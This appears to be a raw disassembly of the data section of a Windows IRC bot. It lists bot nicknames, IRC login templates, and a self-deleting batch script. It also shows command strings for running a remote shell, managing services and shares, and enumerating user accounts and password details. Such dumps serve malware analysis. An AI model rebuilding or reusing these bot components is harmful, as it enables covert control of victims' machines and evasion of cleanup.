aAha		db 'aha',0              ; DATA XREF: ___:00438748o
aShit		db 'shit',0             ; DATA XREF: ___:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438740o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043873Co
		align 4
off_4387F8	dd offset word_594F42	; DATA XREF: ___:00438738o
aFree		db 'Free',0             ; DATA XREF: ___:00438724o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438720o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438714o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438708o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438704o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438700o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386E4o
aBbl		db '|bbl',0             ; DATA XREF: ___:004386D8o
		align 4
off_438838	dd offset loc_425242	; DATA XREF: ___:004386D4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:004386C0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:004386BCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:004386B8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:004386B4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:004386B0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:004386ACo
aRt		db 'rt',0               ; DATA XREF: ___:004386A8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:004386A4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:004386A0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:0043869Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438698o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438678o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00438630o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043862Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00438628o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00438624o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00438620o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043861Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: ___:00438618o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00438614o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00438610o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:0043860Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00438608o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00438604o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00438600o
aLag		db 'lag',0              ; DATA XREF: ___:004385FCo
aBad		db 'bad',0              ; DATA XREF: ___:004385F8o
aTree		db 'tree',0             ; DATA XREF: ___:004385F4o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:004385F0o
aLez		db 'lez',0              ; DATA XREF: ___:004385ECo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385E4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385E0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385DCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385D8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:004385D4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:004385D0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:004385CCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:004385C8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:004385C4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:004385C0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:004385BCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:004385B8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:004385B4o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:004385B0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:004385ACo
aAkden		db 'akden',0            ; DATA XREF: ___:004385A8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:004385A4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:004385A0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043859Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438598o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438594o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438590o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043858Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438588o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438584o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438580o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043857Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438578o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438574o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438570o
		align 4
off_438A18	dd offset byte_4B5245	; DATA XREF: ___:0043856Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438568o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438564o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438560o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043855Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438558o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438554o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438550o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043854Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438548o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438544o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438540o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043853Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438538o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438534o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438530o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043852Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00438528o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00438524o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00438520o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043851Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438518o
aHoly		db 'holy',0             ; DATA XREF: ___:00438514o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438510o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043850Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438508o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438504o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438500o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384FCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384F8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384F4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384F0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384ECo
aArda		db 'arda',0             ; DATA XREF: ___:004384E8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384E4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384E0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384DCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384D8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004384D4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004384D0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:004384CCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:004384C8o
		align 4
off_438BAC	dd offset byte_457441	; DATA XREF: ___:004384C4o
dword_438BB0	dd 414C5941h, 2Dh	; DATA XREF: ___:004384C0o
aAlbina		db 'albina',0           ; DATA XREF: ___:004384BCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:004384B8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:004384B4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:004384B0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:004384ACo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:004384A8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:004384A4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:004384A0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043849Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438498o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438494o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438490o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043848Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438488o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438484o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438480o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043847Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438478o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438474o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438470o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043846Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438468o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438464o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438460o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043845Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438458o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438454o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438450o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043844Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438448o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438444o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438440o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043843Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438438o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438434o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438430o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043842Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00438428o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00438424o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00438420o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043841Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438418o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438414o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438410o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043840Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438408o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438404o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438400o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004383FCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004383F8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004383F4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004383F0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383ECo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383E8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383E4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383E0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383DCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383D8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004383D4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004383D0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:004383CCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:004383C8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:004383C4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:004383C0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:004383BCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:004383B8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:004383B4o
		align 4
aM_0:					; DATA XREF: ___:004383B0o
					; ___:004386FCo
		unicode	0, <M>,0
word_438E18	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; ___:004383ACo
		align 4
dword_438E1C	dd 42h			; DATA XREF: ___:004383A8o
dword_438E20	dd 56h			; DATA XREF: ___:004383A4o
dword_438E24	dd 43h			; DATA XREF: ___:004383A0o
dword_438E28	dd 58h			; DATA XREF: ___:0043839Co
					; ___:00438730o
dword_438E2C	dd 5Ah			; DATA XREF: ___:00438398o
dword_438E30	dd 4Ch			; DATA XREF: ___:00438394o
dword_438E34	dd 4Bh			; DATA XREF: ___:00438390o
dword_438E38	dd 4Ah			; DATA XREF: ___:0043838Co
dword_438E3C	dd 48h			; DATA XREF: ___:00438388o
dword_438E40	dd 47h			; DATA XREF: ___:00438384o
dword_438E44	dd 46h			; DATA XREF: ___:00438380o
					; ___:004386F8o
dword_438E48	dd 44h			; DATA XREF: ___:0043837Co
dword_438E4C	dd 53h			; DATA XREF: ___:00438378o
dword_438E50	dd 50h			; DATA XREF: ___:00438370o
dword_438E54	dd 4Fh			; DATA XREF: ___:0043836Co
dword_438E58	dd 55h			; DATA XREF: ___:00438364o
word_438E5C	dw 59h			; DATA XREF: sub_41A19E+38r
					; ___:00438360o
		align 10h
dword_438E60	dd 54h			; DATA XREF: ___:0043835Co
dword_438E64	dd 52h			; DATA XREF: ___:00438358o
dword_438E68	dd 45h			; DATA XREF: ___:00438354o
dword_438E6C	dd 57h			; DATA XREF: ___:00438350o
dword_438E70	dd 51h			; DATA XREF: ___:0043834Co
dword_438E74	dd 62h			; DATA XREF: ___:00438340o
					; ___:00438634o ...
dword_438E78	dd 78h			; DATA XREF: ___:00438334o
					; ___:0043868Co
dword_438E7C	dd 7Ah			; DATA XREF: ___:00438330o
					; ___:00438694o ...
dword_438E80	dd 68h			; DATA XREF: ___:00438320o
					; ___:0043864Co
dword_438E84	dd 67h			; DATA XREF: ___:0043831Co
					; ___:00438648o ...
dword_438E88	dd 66h			; DATA XREF: ___:00438318o
					; ___:00438644o
dword_438E8C	dd 79h			; DATA XREF: ___:004382FCo
					; ___:00438690o
dword_438E90	dd 77h			; DATA XREF: ___:004382ECo
					; ___:00438688o
dword_438E94	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177D0+B1o
dword_438EA0	dd 323334h		; DATA XREF: sub_4177D0+79o
dword_438EA4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177D0+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
unk_43901C	db  2Dh	; -		; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43904C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439074	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E2+5Co
		dd 65726165h, 64h
off_439090	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439094	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439098	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439104h, 4390FCh,	2, 4390F0h, 4390E4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004390C4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004390C0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004390B8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004390B4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004390ACo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004390A8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004390A0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043909Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439094o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439090o
unk_439158	db  2Dh	; -		; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43917C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
unk_4396FC	db  2Dh	; -		; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439720	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A99+8Ao
		dd 73252720h, 27h
unk_43973C	db  2Dh	; -		; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
unk_439788	db  2Dh	; -		; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
unk_4397E8	db  2Dh	; -		; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439840	db  2Dh	; -		; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439860	db  2Dh	; -		; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
unk_439A1C	db  2Dh	; -		; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
unk_439A50	db  2Dh	; -		; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
